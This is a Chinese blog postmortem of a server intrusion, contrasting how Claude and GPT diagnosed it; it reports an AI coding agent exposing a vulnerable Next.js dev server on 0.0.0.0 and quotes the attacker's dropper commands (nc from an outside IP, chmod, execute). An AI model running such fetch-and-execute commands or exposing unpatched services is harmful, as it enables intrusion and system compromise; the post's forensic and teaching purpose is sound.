复盘一次服务器入侵,Claude翻车,GPT救场

事故背景

这个复盘的核心问题不是“AI会不会写代码”,而是另一个更现实的问题:同样是编程模型,为什么Claude没把问题排出来,GPT却能一路查到根因,最后把整条攻击链串起来。

事情是这样开始的:

我让最强Claude-Opus-4.7写代码、装依赖、跑项目。前半天一切都很顺,页面能起,接口能通,开发效率也确实高。可到了后半段,它在修环境时装了一批系统库,紧接着Docker就起不来了。

最开始我以为这只是一次普通的环境事故。毕竟时间点太巧了,刚装完包,Docker就挂,apt还提示docker.io状态异常,缺少dockerdcontainerd-shim-runc-v2这类关键文件。无论怎么看,都像是依赖把环境搞坏了。

但后面越查越不对。

真正的问题不是Docker,也不是那几个系统库,而是Claude为了把项目跑起来,把开发服务暴露到了公网,而项目依赖版本又刚好落在已知远程代码执行漏洞影响范围里。等我意识到这一点时,服务器其实已经被打进来了。

事故现象

最直接的异常有两个:

  1. 安装完libpangoft2libgdk-pixbuffonts-noto-cjk等系统库后,Docker起不来了。
  2. systemctl start docker之后,dockerd很快被杀掉,日志里只有code=killed, status=9/KILL,没有正常报错。

当时从表面看,很像一次环境修复引发的系统问题。apt还提示过docker.io处于异常状态,缺少dockerdcontainerd-shim-runc-v2等关键文件,所以“刚装完包把Docker装坏了”这个判断,初看完全说得通。

也正因为这样,最早的排查方向被带偏了。

第一阶段:Claude怎么排,为什么没排出来

Claude的第一轮处理,基本围绕Docker和系统包本身展开,包括:

  • 重装docker.iocontainerd
  • 检查systemd日志
  • 尝试启动Docker服务
  • 判断是不是依赖损坏或系统库冲突

这些动作本身不算错,问题在于它的整个思路都建立在一个前提上:Docker是根因。

于是它越查越像在修环境,越修越解释不清。因为如果真是普通的包损坏,至少应该回答清楚三件事:

  1. 哪些文件丢了。
  2. 谁删的,或者哪个动作覆盖了它们。
  3. 为什么dockerd会被直接SIGKILL

Claude最后没有把这三个问题解释清楚,结论基本落在“环境异常,建议人工介入”。

令人失望的是,它作为一个很强的编程模型,写代码、搭页面、补脚本都没问题,但一旦问题从“代码能不能跑”变成“这台机器到底发生了什么”,它就明显停在了应用层,没把排查继续推进到系统层和安全层。

换句话说,它能看到Docker挂了,但没有继续追问:Docker为什么会以这种方式挂掉。

第二阶段:GPT怎么接手,思路为什么不一样

后面我换GPT接手排查,最明显的差别不是它会不会写命令,而是它一开始就换了问题定义。

  • Claude问的是:Docker为什么起不来?
  • GPT问的是:Docker起不来,到底是环境坏了,还是这台机器已经不干净了?

这个问题定义一变,排查路径就完全不一样了。GPT没有继续围绕apt和Docker打转,而是往外扩了一圈去看:

  • 进程树
  • 系统服务状态
  • 监听端口
  • 可疑落地文件
  • 最近操作日志
  • 项目启动方式

这一步很关键,因为真正的系统故障和入侵事件,表面上都可能表现为“某个服务突然起不来”,但排查视角完全不同。Claude一直在修受害者,GPT则先确认是不是有攻击者。

第三阶段:GPT找到了Claude没看到的东西

这一轮排查很快发现了异常链路,next-server进程树下面,出现了典型的dropper / 反向shell行为:

nc 107.175.89.136 9009 > /tmp/let
chmod 711 /tmp/let
/tmp/let &

同时还发现多个可疑落地文件:

/tmp/let
/dev/shm/let
/var/let

其中/tmp/let/dev/shm/let为root属主,权限是0700,并且带有packed特征。到这一步,结论已经非常清楚:这不是环境问题,而是服务器已经被打进来了。

这也是我觉得两者差距真正拉开的地方:

  • Claude看到的是“Docker文件缺失,所以Docker起不来”。
  • GPT看到的是“Docker文件缺失本身就不正常,这更像是入侵后的破坏结果”。

一个停在现象,一个继续追原因。

第四阶段:确认Docker异常只是结果,不是原因

确认存在恶意进程和样本之后,再回头看Docker异常,逻辑就顺了。

Docker起不来,并不是因为那几个字体库或图形库把系统依赖搞坏了,而是因为入侵后的恶意行为破坏了Docker相关组件,导致dockerdcontainerd-shim-runc-v2这些文件缺失或不可用。

也就是说,时间顺序虽然是“装完依赖后Docker挂掉”,但因果关系并不是“装依赖导致Docker挂掉”。

真正的因果关系更接近于:

  1. 服务暴露到公网。
  2. 外部攻击命中存在漏洞的依赖链路。
  3. 恶意文件落地并执行。
  4. 系统组件被破坏。
  5. Docker无法启动。

Docker异常只是事故结果,不是事故起点。Claude在这里的问题,不是它没看到Docker异常,而是它没有把Docker当成“可能的受害者”。GPT则是在确认入侵后,重新解释了Docker为什么会坏。

第五阶段:GPT是怎么定位到事故入口的

接下来真正关键的问题是:攻击面是怎么打开的?

继续翻Claude的操作记录后,找到了非常关键的一处修改。它把前端启动命令从:

next dev -p 3000 -H 127.0.0.1

改成了:

next dev -p 3000 -H 0.0.0.0

随后执行:

pnpm dev

这意味着原本只对本机监听的开发服务,被改成了对所有网卡监听。如果这台机器本身有公网访问能力,等于直接把dev server暴露出去了。

更严重的是,项目里当时使用的是next@15.0.3。而Next.js 15.x App Router处在React Server Components相关RCE漏洞影响范围内,官方安全公告已经给出说明。

到这里,事故链路基本可以还原:

  1. Claude为了方便访问页面,把开发服务监听地址改成了0.0.0.0
  2. 开发服务因此暴露到公网。
  3. 项目依赖版本又落在已知RCE影响范围内。
  4. 外部攻击打入后,落地/tmp/let/dev/shm/let等恶意文件。
  5. 恶意程序进一步破坏系统组件,最终导致Docker无法启动。

我不认为这可以简单表述成“Claude写了后门”,那样说并不准确。

但可以明确地说,Claude给出了一个高风险运行方式,而且在后续排查里也没有识别出这个动作的风险级别。它既没有把0.0.0.0当成危险暴露面,也没有主动把依赖版本和已知CVE对上。

GPT真正做对的地方,不只是把问题查出来,而是把“启动命令修改”“公网暴露”“依赖版本”“恶意落地文件”这几件原本分散的事串成了一条完整攻击链。

第六阶段:两者在处置方式上的差别

确认入侵后,GPT后续处置的节奏也很清楚:

  • 杀掉可疑进程
  • 隔离样本文件
  • 重装缺失的系统组件
  • 恢复udevcontainerddocker
  • 检查端口、服务和进程树状态
  • 评估机器可信度,准备轮换密钥和凭据

这套动作体现出来的不是“会不会修Docker”,而是有没有按事故处理的意识:先止血,再取证,再恢复,最后判断机器是否还可信。

Claude在前面那一轮里,并没有进入这个节奏。它更像是在继续尝试把环境修通,而不是把这件事当成一场安全事件来处置。

这也是为什么我会觉得问题不只是“Claude没排出来”,而是它没有表现出一个编程模型在真实服务器问题面前应有的判断力。

问题根因

如果只看表面,这像是一次AI操作失误。

但往深一点看,问题不是“AI改错了一行命令”,而是它在服务器环境里默认采用了对开发最方便、对安全最不友好的方式:

  • 0.0.0.0当成方便访问,而不是高风险暴露面
  • 没有主动检查依赖版本对应的安全公告
  • 没有把dev server暴露公网当成危险动作
  • 事故发生后,没有及时把视角切到入侵排查上

这说明一件事:AI也许很会写代码,但不代表它具备完整的工程判断,尤其不代表它具备运维和安全判断。

Claude这次暴露出来的短板,不是代码生成能力,而是排障边界。它擅长把功能做出来,却不擅长在系统异常里持续追问“这件事为什么会这样发生”。

GPT这次体现出来的优势,也不只是知识更广,而是它能把编程、系统、运维和安全放在同一个上下文里判断。

复盘结论

这次事情给我的结论很直接。

第一,AI可以大幅提升开发效率,但它的默认目标通常是“尽快跑起来”,不是“在真实服务器上安全地跑起来”。

第二,开发环境里的方便操作,一旦搬到公网机器上,风险级别会完全变掉。像0.0.0.0、dev server、临时开放端口、跳过检查,这些动作在本地可能只是省事,在服务器上就是事故入口。

第三,遇到Docker起不来、系统文件缺失、进程异常被杀这类现象时,不能只按环境故障处理。只要出现可疑落地文件、异常网络连接、非预期进程树,就应该按入侵事件处理。

第四,这次最值得记住的一点是:同样是编程模型,差距不只体现在“谁代码写得更快”,更体现在“谁能在真实事故里把问题定义对”。Claude没把问题定义对,所以越查越偏;GPT把问题定义成一次潜在入侵,所以最后能查到根因。

第五,AI可以当开发助手,但不能默认当安全负责人。尤其是在公网机器上,监听地址、端口暴露、反向代理、依赖版本和安全补丁这些事,必须人工确认。

这次复盘对我最大的提醒是:写代码是一回事,在真实机器上承担后果是另一回事。AI能帮你加速,但最后对机器和安全结果负责的人,还是自己。

参考资料

  • Next.js官方安全公告:https://nextjs.org/blog/CVE-2025-66478
  • React官方安全公告:https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components

声明:来自木讷大叔爱运维,仅代表创作者观点。链接:https://eyangzhen.com/8337.html

木讷大叔爱运维的头像木讷大叔爱运维

相关推荐

添加微信
添加微信
Ai学习群
返回顶部